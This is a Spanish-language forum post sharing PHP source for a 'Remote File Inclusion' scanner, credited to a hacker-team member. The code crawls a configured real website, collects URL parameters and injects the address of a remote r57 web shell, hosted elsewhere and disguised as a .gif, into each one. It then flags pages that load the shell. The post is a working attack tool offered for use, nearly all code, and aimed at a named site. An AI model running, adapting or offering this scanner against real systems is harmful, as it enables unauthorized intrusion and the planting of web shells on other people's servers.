Lo programe hace bastante tiempo, me habia olvidado de el hasta ayer que lo encontre y decidid publicar el codigo :P
Mas informacion: http://www.elefren.com/blog/RFI-Scanner-en-PHP/
Saludos, elefrEn
Código:<?
/*
RFI Scanner 1.0
Author: elefrEn
Website: http://elefren.com/
email: [email protected]
Dedicated to Spanish Hackers Team - http://spanish-hackers.com/
Gr33tz: -> JosS | nhh-32 | Omega <-
*/
set_time_limit(0);
#Config
$urlweb = "www.guia-ubuntu.org";# Out http://, ex: google.com
$urlshell = "http://usuarios.lycos.es/w0rms/r57.gif";# Url where you sent the shell script
$comunvars = "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc...
$filetoscan = "index.php";# The file that you want scan
#Funcs
function vars($url){
$xpl = parse_url($url);$xpl = $xpl[query];$xpl = explode("&",$xpl);
$var = 0;
while($var < count($xpl)){
$v4r = explode("=",$xpl[$var]);
$m0s .= '|'.$v4r[0];
$var++;
}
$m0s = str_replace('amp;','',$m0s);
return $m0s;
}
function beerres($list, $barras = FALSE){
$s3p4 = '<br>';
if($barras) $s3p4 = '|';
$list = explode('|',$list);
$var = 0;
while($var < count($list)){
if($list[$var] != ''){
if(!@preg_match("/$list[$var]/i",$m0s) ){
$m0s .= $list[$var].$s3p4;
}
}
$var++;
}
return $m0s;
}
function extrac($n00b, $file = FALSE){
$n0ob = 'http://'.$n00b;
$source = join("",file(&$n0ob));
$vars = preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
$t0t = count($results[1]);
$var = 0;
while($var < $t0t){
$xtr = explode('"',$results[1][$var]);
$urllist .= $xtr[0].'|';
$varlist .= vars($xtr[0]);
$var++;
}
$m0s .= $varlist;
return beerres($m0s,1);
}
function rfi($vars,$web,$file,$urlshell){
$list = explode('|',$vars);
$var = 0;
while($var < count($list)){
$url = $web.$file."?".$list[$var]."=".$urlshell."?";
$source = join("",file(&$url));
if(preg_match("/shell/i",$source)){
$m0s .= "<font color=red><b>RFI-></b></font> ";
}else{
$m0s .= "<font color=green><b>Secure-></b></font> ";
}
$m0s .= $url.'<br>';
$var++;
}
return $m0s;
}
#Exec
echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell);
?>
